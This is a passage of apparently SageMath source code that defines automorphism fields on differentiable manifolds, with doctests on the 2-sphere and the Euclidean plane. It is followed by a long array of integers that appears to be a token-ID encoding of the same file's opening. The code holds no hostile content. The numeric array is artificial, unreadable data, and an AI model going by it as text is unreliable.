differentiable manifold M
sage: s.display(e_xy)
-(x^4 - 10*x^2*y^2 + y^4)/(x^4 + 2*x^2*y^2 + y^4) d/dx*dx
- 6*(x^3*y - x*y^3)/(x^4 + 2*x^2*y^2 + y^4) d/dx*dy
+ 6*(x^3*y - x*y^3)/(x^4 + 2*x^2*y^2 + y^4) d/dy*dx
- 2*(x^4 - 4*x^2*y^2 + y^4)/(x^4 + 2*x^2*y^2 + y^4) d/dy*dy
sage: s.display(e_uv)
-(u^4 - 6*u^2*v^2 + v^4)/(u^4 + 2*u^2*v^2 + v^4) d/du*du
+ 8*(u^3*v - u*v^3)/(u^4 + 2*u^2*v^2 + v^4) d/du*dv
- 4*(u^3*v - u*v^3)/(u^4 + 2*u^2*v^2 + v^4) d/dv*du
- 2*(u^4 - 6*u^2*v^2 + v^4)/(u^4 + 2*u^2*v^2 + v^4) d/dv*dv
sage: w = M.vector_field(name='w')
sage: w[e_xy, :] = [3, 1]
sage: w.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: s(w) == a(b(w)) # long time
True
"""
# No need for consistency check since self and other are guaranteed
# to have the same parent. In particular, they are defined on the same
# module.
#
# Special cases:
if self._is_identity:
return other
if other._is_identity:
return self
if other is self._inverse or self is other._inverse:
return self.parent().one()
# General case:
resu = type(self)(self._vmodule)
for dom in self._common_subdomains(other):
resu._restrictions[dom] = (self._restrictions[dom]
* other._restrictions[dom])
return resu
#### End of MultiplicativeGroupElement methods ####
def __mul__(self, other):
r"""
Redefinition of
:meth:`~sage.manifolds.differentiable.tensorfield.TensorField.__mul__`
so that ``*`` dispatches either to automorphism composition or
to the tensor product.
TESTS::
sage: M = Manifold(2, 'M') # the 2-dimensional sphere S^2
sage: U = M.open_subset('U') # complement of the North pole
sage: c_xy.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: V = M.open_subset('V') # complement of the South pole
sage: c_uv.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: M.declare_union(U,V) # S^2 is the union of U and V
sage: xy_to_uv = c_xy.transition_map(c_uv, (x/(x^2+y^2), y/(x^2+y^2)),
....: intersection_name='W', restrictions1= x^2+y^2!=0,
....: restrictions2= u^2+v^2!=0)
sage: uv_to_xy = xy_to_uv.inverse()
sage: e_xy = c_xy.frame(); e_uv = c_uv.frame()
sage: a = M.automorphism_field(name='a')
sage: a[e_xy, :] = [[-1, 0], [0, 1]]
sage: a.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: b = M.automorphism_field(name='b')
sage: b[e_uv, :] = [[1, 0], [0, -2]]
sage: b.add_comp_by_continuation(e_xy, U.intersection(V), c_xy)
sage: w = M.vector_field(name='w')
sage: w[e_xy, :] = [3, 1]
sage: w.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: s = a.__mul__(b); s # automorphism composition
Field of tangent-space automorphisms on the 2-dimensional differentiable manifold M
sage: s(w) == a(b(w)) # long time
True
sage: s = a.__mul__(w); s # tensor product
Tensor field of type (2,1) on the 2-dimensional differentiable manifold M
"""
if isinstance(other, AutomorphismField):
return self._mul_(other) # general linear group law
else:
return TensorField.__mul__(self, other) # tensor product
def __imul__(self, other):
r"""
Redefinition of
:meth:`~sage.manifolds.differentiable.tensorfield.TensorField.__imul__`
TESTS::
sage: M = Manifold(2, 'M') # the 2-dimensional sphere S^2
sage: U = M.open_subset('U') # complement of the North pole
sage: c_xy.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: V = M.open_subset('V') # complement of the South pole
sage: c_uv.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: M.declare_union(U,V) # S^2 is the union of U and V
sage: xy_to_uv = c_xy.transition_map(c_uv, (x/(x^2+y^2), y/(x^2+y^2)),
....: intersection_name='W', restrictions1= x^2+y^2!=0,
....: restrictions2= u^2+v^2!=0)
sage: uv_to_xy = xy_to_uv.inverse()
sage: e_xy = c_xy.frame(); e_uv = c_uv.frame()
sage: a = M.automorphism_field(name='a')
sage: a[e_xy, :] = [[-1, 0], [0, 1]]
sage: a.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: b = M.automorphism_field(name='b')
sage: b[e_uv, :] = [[1, 0], [0, -2]]
sage: b.add_comp_by_continuation(e_xy, U.intersection(V), c_xy)
sage: a.__imul__(b)
Field of tangent-space automorphisms on the 2-dimensional differentiable manifold M
sage: s = a*b
sage: a *= b
sage: a == s
True
"""
return self.__mul__(other)
def restrict(self, subdomain, dest_map=None):
r"""
Return the restriction of ``self`` to some subdomain.
This is a redefinition of
:meth:`sage.manifolds.differentiable.tensorfield.TensorField.restrict`
to take into account the identity map.
INPUT:
- ``subdomain`` --
:class:`~sage.manifolds.differentiable.manifold.DifferentiableManifold`
open subset `V` of ``self._domain``
- ``dest_map`` -- (default: ``None``)
:class:`~sage.manifolds.differentiable.diff_map.DiffMap`;
destination map `\Phi:\ V \rightarrow N`, where `N` is a
subdomain of ``self._codomain``; if ``None``, the restriction
of ``self.base_module().destination_map()`` to `V` is used
OUTPUT:
- a :class:`AutomorphismField` representing the restriction
EXAMPLES:
Restrictions of an automorphism field on the 2-sphere::
sage: M = Manifold(2, 'S^2', start_index=1)
sage: U = M.open_subset('U') # the complement of the North pole
sage: stereoN.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: eN = stereoN.frame() # the associated vector frame
sage: V = M.open_subset('V') # the complement of the South pole
sage: stereoS.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: eS = stereoS.frame() # the associated vector frame
sage: transf = stereoN.transition_map(stereoS, (x/(x^2+y^2), y/(x^2+y^2)),
....: intersection_name='W',
....: restrictions1= x^2+y^2!=0,
....: restrictions2= u^2+v^2!=0)
sage: inv = transf.inverse() # transformation from stereoS to stereoN
sage: W = U.intersection(V) # the complement of the North and South poles
sage: stereoN_W = W.atlas()[0] # restriction of stereo. coord. from North pole to W
sage: stereoS_W = W.atlas()[1] # restriction of stereo. coord. from South pole to W
sage: eN_W = stereoN_W.frame() ; eS_W = stereoS_W.frame()
sage: a = M.automorphism_field({eN: [[1, atan(x^2+y^2)], [0,3]]},
....: name='a')
sage: a.add_comp_by_continuation(eS, W, chart=stereoS); a
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold S^2
sage: a.restrict(U)
Field of tangent-space automorphisms a on the Open subset U of the
2-dimensional differentiable manifold S^2
sage: a.restrict(U)[eN,:]
[ 1 arctan(x^2 + y^2)]
[ 0 3]
sage: a.restrict(V)
Field of tangent-space automorphisms a on the Open subset V of the
2-dimensional differentiable manifold S^2
sage: a.restrict(V)[eS,:]
[ (u^4 + 10*u^2*v^2 + v^4 + 2*(u^3*v - u*v^3)*arctan(1/(u^2 + v^2)))/(u^4 + 2*u^2*v^2 + v^4) -(4*u^3*v - 4*u*v^3 + (u^4 - 2*u^2*v^2 + v^4)*arctan(1/(u^2 + v^2)))/(u^4 + 2*u^2*v^2 + v^4)]
[ 4*(u^2*v^2*arctan(1/(u^2 + v^2)) - u^3*v + u*v^3)/(u^4 + 2*u^2*v^2 + v^4) (3*u^4 - 2*u^2*v^2 + 3*v^4 - 2*(u^3*v - u*v^3)*arctan(1/(u^2 + v^2)))/(u^4 + 2*u^2*v^2 + v^4)]
sage: a.restrict(W)
Field of tangent-space automorphisms a on the Open subset W of the
2-dimensional differentiable manifold S^2
sage: a.restrict(W)[eN_W,:]
[ 1 arctan(x^2 + y^2)]
[ 0 3]
Restrictions of the field of tangent-space identity maps::
sage: id = M.tangent_identity_field() ; id
Field of tangent-space identity maps on the 2-dimensional
differentiable manifold S^2
sage: id.restrict(U)
Field of tangent-space identity maps on the Open subset U of the
2-dimensional differentiable manifold S^2
sage: id.restrict(U)[eN,:]
[1 0]
[0 1]
sage: id.restrict(V)
Field of tangent-space identity maps on the Open subset V of the
2-dimensional differentiable manifold S^2
sage: id.restrict(V)[eS,:]
[1 0]
[0 1]
sage: id.restrict(W)[eN_W,:]
[1 0]
[0 1]
sage: id.restrict(W)[eS_W,:]
[1 0]
[0 1]
"""
if subdomain == self._domain:
return self
if subdomain not in self._restrictions:
if not self._is_identity:
return TensorField.restrict(self, subdomain, dest_map=dest_map)
# Special case of the identity map:
if not subdomain.is_subset(self._domain):
raise ValueError("the provided domain is not a subset of " +
"the field's domain")
if dest_map is None:
dest_map = self._vmodule._dest_map.restrict(subdomain)
elif not dest_map._codomain.is_subset(self._ambient_domain):
raise ValueError("the argument 'dest_map' is not compatible " +
"with the ambient domain of " +
"the {}".format(self))
smodule = subdomain.vector_field_module(dest_map=dest_map)
self._restrictions[subdomain] = smodule.identity_map()
return self._restrictions[subdomain]
#******************************************************************************
class AutomorphismFieldParal(FreeModuleAutomorphism, TensorFieldParal):
r"""
Field of tangent-space automorphisms with values on a parallelizable
manifold.
Given a differentiable manifold `U` and a differentiable map
`\Phi: U \rightarrow M` to a parallelizable manifold `M`,
a *field of tangent-space automorphisms along* `U` *with values on*
`M\supset\Phi(U)` is a differentiable map
.. MATH::
a:\ U \longrightarrow T^{(1,1)}M
(`T^{(1,1)}M` being the tensor bundle of type `(1,1)` over `M`) such
that
.. MATH::
\forall p \in U,\ a(p) \in \mathrm{Aut}(T_{\Phi(p)} M)
i.e. `a(p)` is an automorphism of the tangent space to `M` at the point
`\Phi(p)`.
The standard case of a field of tangent-space automorphisms *on* a
manifold corresponds to `U=M` and `\Phi = \mathrm{Id}_M`. Other
common cases are `\Phi` being an immersion and `\Phi` being a curve in `M`
(`U` is then an open interval of `\RR`).
.. NOTE::
If `M` is not parallelizable, the class :class:`AutomorphismField`
*must* be used instead.
INPUT:
- ``vector_field_module`` -- free module `\mathfrak{X}(U,\Phi)` of vector
fields along `U` with values on `M` via the map `\Phi`
- ``name`` -- (default: ``None``) name given to the field
- ``latex_name`` -- (default: ``None``) LaTeX symbol to denote the field;
if none is provided, the LaTeX symbol is set to ``name``
EXAMPLES:
A `\pi/3`-rotation in the Euclidean 2-plane::
sage: M = Manifold(2, 'R^2')
sage: c_xy.<x,y> = M.chart()
sage: rot = M.automorphism_field([[sqrt(3)/2, -1/2], [1/2, sqrt(3)/2]],
....: name='R'); rot
Field of tangent-space automorphisms R on the 2-dimensional
differentiable manifold R^2
sage: rot.parent()
General linear group of the Free module X(R^2) of vector fields on the
2-dimensional differentiable manifold R^2
The inverse automorphism is obtained via the method :meth:`inverse`::
sage: inv = rot.inverse() ; inv
Field of tangent-space automorphisms R^(-1) on the 2-dimensional
differentiable manifold R^2
sage: latex(inv)
R^{-1}
sage: inv[:]
[1/2*sqrt(3) 1/2]
[ -1/2 1/2*sqrt(3)]
sage: rot[:]
[1/2*sqrt(3) -1/2]
[ 1/2 1/2*sqrt(3)]
sage: inv[:] * rot[:] # check
[1 0]
[0 1]
Equivalently, one can use the power minus one to get the inverse::
sage: inv is rot^(-1)
True
or the operator ``~``::
sage: inv is ~rot
True
"""
def __init__(self, vector_field_module, name=None, latex_name=None):
r"""
Construct a field of tangent-space automorphisms.
TESTS:
Construction via ``parent.element_class``, and not via a direct call
to ``AutomorphismFieldParal``, to fit with the category framework::
sage: M = Manifold(2, 'M')
sage: X.<x,y> = M.chart() # makes M parallelizable
sage: XM = M.vector_field_module()
sage: GL = XM.general_linear_group()
sage: a = GL.element_class(XM, name='a'); a
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold M
sage: a[:] = [[1+x^2, x*y], [0, 1+y^2]]
sage: a.parent()
General linear group of the Free module X(M) of vector fields on
the 2-dimensional differentiable manifold M
sage: a.parent() is M.automorphism_field_group()
True
sage: TestSuite(a).run()
Construction of the field of identity maps::
sage: b = GL.one(); b
Field of tangent-space identity maps on the 2-dimensional
differentiable manifold M
sage: b[:]
[1 0]
[0 1]
sage: TestSuite(b).run()
"""
FreeModuleAutomorphism.__init__(self, vector_field_module,
name=name, latex_name=latex_name)
# TensorFieldParal attributes:
self._vmodule = vector_field_module
self._domain = vector_field_module._domain
self._ambient_domain = vector_field_module._ambient_domain
self._is_identity = False # a priori
# Initialization of derived quantities:
TensorFieldParal._init_derived(self)
def _repr_(self):
r"""
Return a string representation of ``self``.
TESTS::
sage: M = Manifold(2, 'M')
sage: X.<x,y> = M.chart()
sage: a = M.automorphism_field(name='a')
sage: a._repr_()
'Field of tangent-space automorphisms a on the 2-dimensional differentiable manifold M'
sage: repr(a) # indirect doctest
'Field of tangent-space automorphisms a on the 2-dimensional differentiable manifold M'
sage: a # indirect doctest
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold M
"""
description = "Field of tangent-space "
if self._is_identity:
description += "identity maps "
else:
description += "automorphisms "
if self._name is not None:
description += self._name + " "
return self._final_repr(description)
def _del_derived(self, del_restrictions=True):
r"""
Delete the derived quantities.
INPUT:
- ``del_restrictions`` -- (default: ``True``) determines whether the
restrictions of ``self`` to subdomains are deleted.
TESTS::
sage: M = Manifold(2, 'M')
sage: X.<x,y> = M.chart()
sage: a = M.automorphism_field(name='a')
sage: a._del_derived()
"""
# Delete the derived quantities pertaining to the mother classes:
FreeModuleAutomorphism._del_derived(self)
TensorFieldParal._del_derived(self, del_restrictions=del_restrictions)
# Method _new_instance() is defined in mother class FreeModuleAutomorphism
def __call__(self, *arg):
r"""
Redefinition of
:meth:`~sage.tensor.modules.free_module_automorphism.FreeModuleAutomorphism.__call__`
to allow for domain treatment.
TESTS::
sage: M = Manifold(2, 'M')
sage: X.<x,y> = M.chart()
sage: a = M.automorphism_field([[0, 1], [-1, 0]], name='a')
sage: v = M.vector_field(-y, x, name='v')
sage: z = M.one_form(1+y^2, x*y, name='z')
sage: s = a.__call__(v); s
Vector field a(v) on the 2-dimensional differentiable manifold M
sage: s.display()
a(v) = x d/dx + y d/dy
sage: s = a.__call__(z, v); s
Scalar field a(z,v) on the 2-dimensional differentiable manifold M
sage: s.display()
a(z,v): M --> R
(x, y) |--> 2*x*y^2 + x
sage: U = M.open_subset('U', coord_def={X: x>0})
sage: s = a.__call__(v.restrict(U)); s
Vector field a(v) on the Open subset U of the 2-dimensional
differentiable manifold M
sage: s = a.__call__(z.restrict(U), v); s
Scalar field a(z,v) on the Open subset U of the 2-dimensional
differentiable manifold M
sage: s.display()
a(z,v): U --> R
(x, y) |--> 2*x*y^2 + x
"""
if len(arg) == 1:
# the automorphism acting as such (map of a vector field to a
# vector field)
vector = arg[0]
dom = self._domain.intersection(vector._domain)
return FreeModuleAutomorphism.__call__(self.restrict(dom),
vector.restrict(dom))
elif len(arg) == 2:
# the automorphism acting as a type (1,1) tensor on a pair
# (1-form, vector field), returning a scalar field:
oneform = arg[0]
vector = arg[1]
dom = self._domain.intersection(oneform._domain).intersection(
vector._domain)
return FreeModuleAutomorphism.__call__(self.restrict(dom),
oneform.restrict(dom),
vector.restrict(dom))
else:
raise TypeError("wrong number of arguments")
def __invert__(self):
r"""
Return the inverse automorphism of ``self``.
EXAMPLES::
sage: M = Manifold(2, 'M')
sage: X.<x,y> = M.chart()
sage: a = M.automorphism_field([[0, 2], [-1, 0]], name='a')
sage: b = a.inverse(); b
Field of tangent-space automorphisms a^(-1) on the 2-dimensional
differentiable manifold M
sage: b[:]
[ 0 -1]
[1/2 0]
sage: a[:]
[ 0 2]
[-1 0]
The result is cached::
sage: a.inverse() is b
True
Instead of ``inverse()``, one can use the power minus one to get the
inverse::
sage: b is a^(-1)
True
or the operator ``~``::
sage: b is ~a
True
"""
from sage.matrix.constructor import matrix
from sage.tensor.modules.comp import Components
from sage.manifolds.differentiable.vectorframe import CoordFrame
if self._is_identity:
return self
if self._inverse is None:
from sage.tensor.modules.format_utilities import is_atomic
if self._name is None:
inv_name = None
else:
if is_atomic(self._name, ['*']):
inv_name = self._name + '^(-1)'
else:
inv_name = '(' + self._name + ')^(-1)'
if self._latex_name is None:
inv_latex_name = None
else:
if is_atomic(self._latex_name, ['\\circ', '\\otimes']):
inv_latex_name = self._latex_name + r'^{-1}'
else:
inv_latex_name = r'\left(' + self._latex_name + \
r'\right)^{-1}'
fmodule = self._fmodule
si = fmodule._sindex ; nsi = fmodule._rank + si
self._inverse = fmodule.automorphism(name=inv_name,
latex_name=inv_latex_name)
for frame in self._components:
if isinstance(frame, CoordFrame):
chart = frame._chart
else:
chart = self._domain._def_chart #!# to be improved
try:
# TODO: do the computation without the 'SR' enforcement
mat_self = matrix(
[[self.comp(frame)[i, j, chart].expr(method='SR')
for j in range(si, nsi)] for i in range(si, nsi)])
except (KeyError, ValueError):
continue
mat_inv = mat_self.inverse()
cinv = Components(fmodule._ring, frame, 2, start_index=si,
output_formatter=fmodule._output_formatter)
for i in range(si, nsi):
for j in range(si, nsi):
val = chart.simplify(mat_inv[i-si,j-si], method='SR')
cinv[i, j] = {chart: val}
self._inverse._components[frame] = cinv
return self._inverse
inverse = __invert__
def restrict(self, subdomain, dest_map=None):
r"""
Return the restriction of ``self`` to some subset of its domain.
If such restriction has not been defined yet, it is constructed here.
This is a redefinition of
:meth:`sage.manifolds.differentiable.tensorfield_paral.TensorFieldParal.restrict`
to take into account the identity map.
INPUT:
- ``subdomain`` --
:class:`~sage.manifolds.differentiable.manifold.DifferentiableManifold`;
open subset `V` of ``self._domain``
- ``dest_map`` -- (default: ``None``)
:class:`~sage.manifolds.differentiable.diff_map.DiffMap`
destination map `\Phi:\ V \rightarrow N`, where `N` is a subset of
``self._codomain``; if ``None``, the restriction of
``self.base_module().destination_map()`` to `V` is used
OUTPUT:
- a :class:`AutomorphismFieldParal` representing the restriction
EXAMPLES:
Restriction of an automorphism field defined on `\RR^2` to a disk::
sage: M = Manifold(2, 'R^2')
sage: c_cart.<x,y> = M.chart() # Cartesian coordinates on R^2
sage: D = M.open_subset('D') # the unit open disc
sage: c_cart_D = c_cart.restrict(D, x^2+y^2<1)
sage: a = M.automorphism_field([[1, x*y], [0, 3]], name='a'); a
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold R^2
sage: a.restrict(D)
Field of tangent-space automorphisms a on the Open subset D of the
2-dimensional differentiable manifold R^2
sage: a.restrict(D)[:]
[ 1 x*y]
[ 0 3]
Restriction to the disk of the field of tangent-space identity maps::
sage: id = M.tangent_identity_field() ; id
Field of tangent-space identity maps on the 2-dimensional
differentiable manifold R^2
sage: id.restrict(D)
Field of tangent-space identity maps on the Open subset D of the
2-dimensional differentiable manifold R^2
sage: id.restrict(D)[:]
[1 0]
[0 1]
sage: id.restrict(D) == D.tangent_identity_field()
True
"""
if subdomain == self._domain:
return self
if subdomain not in self._restrictions:
if not self._is_identity:
return TensorFieldParal.restrict(self, subdomain,
dest_map=dest_map)
# Special case of the identity map:
if not subdomain.is_subset(self._domain):
raise ValueError("the provided domain is not a subset of " +
"the field's domain.")
if dest_map is None:
dest_map = self._fmodule._dest_map.restrict(subdomain)
elif not dest_map._codomain.is_subset(self._ambient_domain):
raise ValueError("the argument 'dest_map' is not compatible " +
"with the ambient domain of " +
"the {}".format(self))
smodule = subdomain.vector_field_module(dest_map=dest_map)
self._restrictions[subdomain] = smodule.identity_map()
return self._restrictions[subdomain]
def at(self, point):
r"""
Value of ``self`` at a given point.
If the current field of tangent-space automorphisms is
.. MATH::
a:\ U \longrightarrow T^{(1,1)} M
associated with the differentiable map
.. MATH::
\Phi:\ U \longrightarrow M,
where `U` and `M` are two manifolds (possibly `U = M` and
`\Phi = \mathrm{Id}_M`), then for any point `p \in U`,
`a(p)` is an automorphism of the tangent space `T_{\Phi(p)}M`.
INPUT:
- ``point`` -- :class:`~sage.manifolds.point.ManifoldPoint`;
point `p` in the domain of the field of automorphisms `a`
OUTPUT:
- the automorphism `a(p)` of the tangent vector space `T_{\Phi(p)}M`
EXAMPLES:
Automorphism at some point of a tangent space of a 2-dimensional
manifold::
sage: M = Manifold(2, 'M')
sage: c_xy.<x,y> = M.chart()
sage: a = M.automorphism_field([[1+exp(y), x*y], [0, 1+x^2]],
....: name='a')
sage: a.display()
a = (e^y + 1) d/dx*dx + x*y d/dx*dy + (x^2 + 1) d/dy*dy
sage: p = M.point((-2,3), name='p') ; p
Point p on the 2-dimensional differentiable manifold M
sage: ap = a.at(p) ; ap
Automorphism a of the Tangent space at Point p on the
2-dimensional differentiable manifold M
sage: ap.display()
a = (e^3 + 1) d/dx*dx - 6 d/dx*dy + 5 d/dy*dy
sage: ap.parent()
General linear group of the Tangent space at Point p on the
2-dimensional differentiable manifold M
The identity map of the tangent space at point ``p``::
sage: id = M.tangent_identity_field() ; id
Field of tangent-space identity maps on the 2-dimensional
differentiable manifold M
sage: idp = id.at(p) ; idp
Identity map of the Tangent space at Point p on the 2-dimensional
differentiable manifold M
sage: idp is M.tangent_space(p).identity_map()
True
sage: idp.display()
Id = d/dx*dx + d/dy*dy
sage: idp.parent()
General linear group of the Tangent space at Point p on the
2-dimensional differentiable manifold M
sage: idp * ap == ap
True
"""
if point not in self._domain:
raise TypeError("the {} is not in the domain of the {}".format(
point, self))
dest_map = self._fmodule._dest_map
if dest_map.is_identity():
amb_point = point
else:
amb_point = dest_map(point) # "ambient" point
ts = amb_point._manifold.tangent_space(amb_point)
if self._is_identity:
return ts.identity_map()
resu = ts.automorphism(name=self._name, latex_name=self._latex_name)
for frame, comp in self._components.items():
comp_resu = resu.add_comp(frame.at(point))
for ind, val in comp._comp.items():
comp_resu._comp[ind] = val(point)
return resu
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29878,
15945,
29908,
13,
29911,
574,
296,
29899,
14936,
5202,
14143,
8989,
29879,
13,
13,
1576,
770,
584,
1990,
18078,
6147,
14143,
3073,
29952,
10703,
4235,
310,
3345,
5676,
12903,
310,
13,
29873,
574,
296,
8162,
304,
263,
10035,
313,
29874,
3691,
4170,
451,
8943,
13902,
29897,
17473,
519,
13,
1171,
361,
1025,
29892,
1550,
278,
770,
584,
1990,
18078,
6147,
14143,
3073,
2177,
284,
29952,
13,
275,
24600,
304,
4235,
310,
3345,
5676,
12903,
310,
18806,
296,
8162,
304,
263,
8943,
13902,
13,
1171,
361,
1025,
29889,
450,
7480,
1708,
278,
4100,
6297,
310,
1301,
2187,
1546,
4608,
13,
19935,
19383,
278,
1021,
5354,
373,
263,
17473,
519,
25941,
29889,
13,
13,
20656,
29950,
24125,
29901,
13,
13,
29899,
529,
5813,
29958,
313,
29906,
29900,
29896,
29945,
1125,
2847,
1873,
13,
29899,
529,
5813,
29958,
313,
29906,
29900,
29896,
29953,
1125,
9076,
7780,
10327,
13,
13,
15945,
29908,
13,
13,
29937,
334,
7775,
7775,
7775,
7775,
4189,
2328,
13,
29937,
539,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29945,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
29937,
539,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29953,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
29937,
13,
29937,
29871,
6652,
7541,
1090,
278,
4958,
310,
278,
15143,
4593,
5236,
19245,
313,
29954,
7390,
29897,
13,
29937,
29871,
408,
6369,
491,
278,
12362,
18540,
10606,
29936,
2845,
1873,
29871,
29906,
310,
13,
29937,
29871,
278,
19245,
29892,
470,
313,
271,
596,
2984,
29897,
738,
2678,
1873,
29889,
13,
29937,
462,
29871,
2045,
597,
1636,
29889,
18713,
29889,
990,
29914,
506,
11259,
29914,
13,
29937,
334,
7775,
7775,
7775,
7775,
4189,
2328,
13,
13,
3166,
269,
482,
29889,
20158,
29889,
7576,
29889,
9021,
29918,
5453,
29918,
1300,
14143,
1053,
12362,
7355,
6147,
14143,
13,
3166,
269,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
20158,
2671,
1053,
323,
6073,
3073,
13,
3166,
269,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
20158,
2671,
29918,
862,
284,
1053,
323,
6073,
3073,
2177,
284,
13,
13,
1990,
5202,
14143,
3073,
29898,
29911,
6073,
3073,
1125,
13,
1678,
364,
15945,
29908,
13,
1678,
8989,
310,
3345,
5676,
12903,
310,
18806,
296,
8162,
304,
263,
10035,
313,
29874,
3691,
4170,
13,
1678,
451,
8943,
13902,
29897,
17473,
519,
25941,
29889,
13,
13,
1678,
11221,
263,
17473,
519,
25941,
421,
29965,
29952,
322,
263,
17473,
519,
2910,
13,
1678,
6714,
9492,
29901,
501,
320,
5211,
341,
29952,
304,
263,
17473,
519,
25941,
421,
29924,
1673,
13,
1678,
263,
334,
2671,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
3412,
29930,
421,
29965,
29952,
334,
2541,
1819,
373,
29930,
13,
1678,
421,
29924,
320,
2146,
567,
300,
29905,
9492,
29898,
29965,
3569,
338,
263,
17473,
519,
2910,
13,
13,
1678,
6317,
341,
7534,
1057,
13,
13,
4706,
263,
3583,
501,
29871,
320,
24225,
323,
7650,
29896,
29892,
29896,
2915,
341,
29892,
13,
13,
1678,
411,
421,
29911,
7650,
29896,
29892,
29896,
2915,
341,
29952,
1641,
278,
12489,
11846,
310,
1134,
12270,
29896,
29892,
29896,
3569,
975,
421,
29924,
1673,
13,
1678,
1316,
393,
13,
13,
1678,
6317,
341,
7534,
1057,
13,
13,
4706,
320,
10956,
282,
320,
262,
501,
2053,
263,
29898,
29886,
29897,
320,
262,
320,
3141,
29912,
6147,
2119,
29911,
1665,
9492,
29898,
29886,
2915,
341,
511,
13,
13,
1678,
474,
29889,
29872,
29889,
421,
29874,
29898,
29886,
3569,
338,
385,
3345,
28611,
310,
278,
18806,
296,
2913,
304,
421,
29924,
29952,
472,
278,
13,
1678,
1298,
6714,
9492,
29898,
29886,
14466,
13,
13,
1678,
450,
3918,
1206,
310,
263,
1746,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
334,
265,
29930,
263,
13,
1678,
25941,
16161,
304,
421,
29965,
353,
341,
29952,
322,
6714,
9492,
353,
320,
3141,
29912,
1204,
2403,
29924,
1412,
5901,
13,
1678,
3619,
4251,
526,
6714,
9492,
29952,
1641,
385,
5198,
4455,
322,
6714,
9492,
29952,
1641,
263,
11672,
13,
1678,
297,
421,
29924,
29952,
6695,
29965,
29952,
338,
769,
385,
1722,
7292,
310,
6714,
29934,
29934,
12913,
13,
13,
1678,
6317,
6058,
29923,
1057,
13,
13,
4706,
960,
421,
29924,
29952,
338,
8943,
13902,
29892,
769,
584,
1990,
18078,
6147,
14143,
3073,
2177,
284,
29952,
13,
4706,
334,
21969,
29930,
367,
1304,
2012,
29889,
13,
13,
1678,
2672,
12336,
29901,
13,
13,
1678,
448,
4954,
8111,
29918,
2671,
29918,
5453,
16159,
1192,
3883,
6714,
7237,
29912,
29990,
2119,
29965,
2053,
9492,
3569,
310,
4608,
13,
418,
4235,
3412,
421,
29965,
29952,
411,
1819,
373,
421,
29924,
29952,
3025,
278,
2910,
6714,
9492,
29952,
13,
1678,
448,
4954,
978,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
1024,
2183,
304,
278,
1746,
13,
1678,
448,
4954,
25694,
29918,
978,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
29186,
5829,
304,
13530,
278,
1746,
29936,
13,
418,
565,
5642,
338,
4944,
29892,
278,
29186,
5829,
338,
731,
304,
4954,
978,
16159,
13,
1678,
448,
4954,
275,
29918,
22350,
16159,
1192,
313,
4381,
29901,
4954,
8824,
29952,
6348,
3683,
1475,
3692,
278,
13,
418,
13319,
1203,
338,
263,
1746,
310,
10110,
3345,
5676,
12903,
13,
13,
1678,
8528,
19297,
17101,
29901,
13,
13,
1678,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
263,
1661,
29899,
23482,
13902,
13,
268,
29906,
29899,
12531,
25941,
1057,
13,
13,
4706,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
4706,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
2056,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
13,
4706,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
341,
338,
278,
9833,
310,
501,
322,
478,
13,
4706,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
2056,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
13,
4706,
269,
482,
29901,
1301,
29888,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
29974,
29891,
29892,
921,
29899,
29891,
511,
17686,
29918,
978,
2433,
29956,
742,
13,
4706,
13035,
29901,
462,
795,
25091,
29896,
29922,
921,
29958,
29900,
29892,
25091,
29906,
29922,
318,
29974,
29894,
29958,
29900,
29897,
13,
4706,
269,
482,
29901,
2437,
353,
1301,
29888,
29889,
262,
3901,
580,
13,
4706,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
2056,
263,
13,
4706,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
13,
308,
17473,
519,
25941,
341,
13,
4706,
269,
482,
29901,
263,
29889,
3560,
580,
13,
4706,
4593,
5608,
2318,
310,
278,
15591,
1060,
29898,
29924,
29897,
310,
4608,
4235,
373,
278,
13,
3986,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
13,
1678,
1334,
937,
4529,
278,
7117,
310,
421,
29874,
29952,
411,
3390,
304,
278,
13,
1678,
14821,
3515,
373,
421,
29965,
29952,
1057,
13,
13,
4706,
269,
482,
29901,
321,
29965,
353,
274,
29918,
3594,
29889,
2557,
580,
